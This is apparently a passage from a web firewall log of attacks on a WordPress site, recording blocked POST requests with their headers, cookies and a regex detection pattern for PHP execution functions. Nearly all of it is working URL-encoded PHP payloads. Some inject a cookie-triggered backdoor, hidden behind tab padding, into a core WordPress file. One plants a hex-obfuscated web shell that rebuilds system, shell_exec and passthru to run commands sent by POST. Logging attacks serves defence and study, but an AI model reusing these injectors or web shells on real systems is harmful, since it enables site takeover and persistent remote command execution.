0=71\nsec-fetch-mode:navigate\n\nAh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:37","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\n\naX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:42:47","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3269\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\n\nbE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:43:00","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3292\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status409.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B8%255D%2528%2529.%2524p%255B23%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B5%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B3%255D%2528%2524p%255B24%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:43:14","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/pomo\/plural-forms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252779%2527%253B%2524val3%2520%253D%2520%252774%2527%253B%2524val4%2520%253D%2520%252765%2527%253B%2524val5%2520%253D%2520%25276c%2527%253B%2524val6%2520%253D%2520%25275f%2527%253B%2524val7%2520%253D%2520%252770%2527%253B%2524val8%2520%253D%2520%252772%2527%253B%2524val9%2520%253D%2520%252775%2527%253B%2524val10%2520%253D%2520%25276f%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252761%2527%253B%2524val13%2520%253D%2520%252767%2527%253B%2524val14%2520%253D%2520%252763%2527%253B%2524val15%2520%253D%2520%252776%2527%253B%2524val16%2520%253D%2520%252764%2527%253B%2524val17%2520%253D%2520%252768%2527%253B%2524task_processor1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val2%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%2524val4%2520.%2520%25276d%2527%2529%253B%2524task_processor2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527%2520.%2520%252768%2527%2520.%2520%2524val4%2520.%2520%2524val5%2520.%2520%25276c%2527%2520.%2520%2524val6%2520.%2520%2524val4%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527%2520.%2520%252778%2527%2520.%2520%2524val4%2520.%2520%252763%2527%2529%253B%2524task_processor4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%252761%2527%2520.%2520%2524val1%2520.%2520%252773%2527%2520.%2520%2524val3%2520.%2520%252768%2527%2520.%2520%2524val8%2520.%2520%2524val9%2529%253B%2524task_processor5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val7%2520.%2520%2524val10%2520.%2520%252770%2527%2520.%2520%2524val4%2520.%2520%2524val11%2529%253B%2524task_processor6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val1%2520.%2520%2524val3%2520.%2520%2524val8%2520.%2520%252765%2527%2520.%2520%2524val12%2520.%2520%25276d%2527%2520.%2520%25275f%2527%2520.%2520%2524val13%2520.%2520%252765%2527%2520.%2520%2524val3%2520.%2520%2524val6%2520.%2520%252763%2527%2520.%2520%25276f%2527%2520.%2520%25276e%2527%2520.%2520%252774%2527%2520.%2520%2524val4%2520.%2520%25276e%2527%2520.%2520%2524val3%2520.%2520%252773%2527%2529%253B%2524task_processor7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527%2520.%2520%2524val14%2520.%2520%25276c%2527%2520.%2520%2524val10%2520.%2520%2524val1%2520.%2520%252765%2527%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val4%2520.%2520%2524val15%2520.%2520%252765%2527%2520.%2520%2524val11%2520.%2520%2524val3%2520.%2520%25275f%2527%2520.%2520%2524val16%2520.%2520%252769%2527%2520.%2520%2524val1%2520.%2520%2524val7%2520.%2520%252761%2527%2520.%2520%252774%2527%2520.%2520%252763%2527%2520.%2520%2524val17%2520.%2520%2524val4%2520.%2520%2524val8%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524task_processor1%2529%2529%257B%2524task_processor1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524task_processor2%2529%2529%257Bprint%2520%2524task_processor2%2528%2524event_dispatcher%2529%253B%257Delseif%